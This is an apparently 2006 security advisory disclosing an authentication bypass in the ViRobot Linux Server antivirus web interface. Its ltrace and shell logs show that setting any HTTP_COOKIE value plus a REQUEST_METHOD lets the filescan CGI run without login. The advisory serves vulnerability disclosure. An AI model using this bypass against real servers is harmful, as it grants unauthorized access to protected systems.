========================================
INetCop Security Advisory #2006-0x82-028
========================================
* Title: Global Hauri Virobot cookie exploit
0x01. Description
Virobot Unix/Linux Server is anti virus program that develop in Global Hauri.
(Product in Unix of SUN Sparc, HP, IBM base and RedHat Linux.)
So that user examines and treats server's virus first,
should login connect to Virobot exclusive use web server.
Web server is being based on apache,
i provide web service through CGI programs that is embodied inside.
Problem of relevant product happens by many common gateway interface web program
that don't confirm user state through produced cookie.
This is fatal authentication vulnerability, and as a result,
malicious hacker can acquire user id and password,
and server use is possible without login.
test: --
[root@Intel-x86-platform cgi-bin]# pwd
/usr/local/ViRobot/cgi-bin
[root@Intel-x86-platform cgi-bin]# ./filescan
Content-type:text/html
You need to authenticate.
[root@Intel-x86-platform cgi-bin]#
[root@Intel-x86-platform cgi-bin]# ltrace ./filescan
__libc_start_main(0x08048c20, 1, 0xbffffbe4, 0x080488b4, 0x0804c3cc
__register_frame_info(0x0804f010, 0x0804f188, 0xbffffba4, 0x080488d9, 0x4010748c) = 0x40107fc0
printf("Content-type:text/html\n\n") = 24
...
getenv("REMOTE_ADDR") = NULL
memset(0xbffff729, '\000', 511) = 0xbffff729
memset(0xbffff6e9, '\000', 63) = 0xbffff6e9
uname(0xbfffd558) = 0
gethostbyname("Intel-x86-platform") = 0x40109f04
inet_ntoa(0x0100007f) = "127.0.0.1"
strncpy(0xbfffd4d8, "127.0.0.1", 127) = 0xbfffd4d8
getenv("HTTP_COOKIE") = NULL // HTTP_COOKIE variable value need.
atoi(0x0804c4f6, 0x0804c4f6, 0, 0xbffffb5c, 0x0804bf1a) = 3
strcmp("#COM-0003;", "#FSC-0003;") = -3
strcmp("#COM-0003;", "#COM-0003;") = 0
printf("%s\n", "You need to authenticate.") = 46
exit(1) =
__deregister_frame_info(0x0804f010, 0xbffffb48, 0x0804c3e1, 0x4010748c, 0xbffffb5c) = 0x0804f188
+++ exited (status 1) +++
[root@Intel-x86-platform cgi-bin]#
[root@Intel-x86-platform cgi-bin]# export HTTP_COOKIE=test // HTTP_COOKIE variable value establishment.
[root@Intel-x86-platform cgi-bin]# ltrace ./filescan
...
getenv("REMOTE_ADDR") = NULL
memset(0xbffff709, '\000', 511) = 0xbffff709
memset(0xbffff6c9, '\000', 63) = 0xbffff6c9
uname(0xbfffd538) = 0
gethostbyname("Intel-x86-platform") = 0x40109f04
inet_ntoa(0x0100007f) = "127.0.0.1"
strncpy(0xbfffd4b8, "127.0.0.1", 127) = 0xbfffd4b8
getenv("HTTP_COOKIE") = "test"
getenv("HTTP_COOKIE") = "test"
strncmp("test", "ViRobot_ID", 10) = 30
strncmp("test", "ViRobot_PASS", 10) = 30
// Can know that ViRbot_ID and ViRobot_PASS are used by Cookie value.
...
... // It's executed continuously though cookie value differs.
...
getenv("REQUEST_METHOD") = NULL // REQUEST_METHOD variable value need.
strcmp(NULL, "POST"
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
[root@Intel-x86-platform cgi-bin]#
[root@Intel-x86-platform cgi-bin]# export REQUEST_METHOD=GET // REQUEST_METHOD variable value establishment.
[root@Intel-x86-platform cgi-bin]# ./filescan | more
Content-type:text/html
ViRobot Linux Server Ver 2.0
...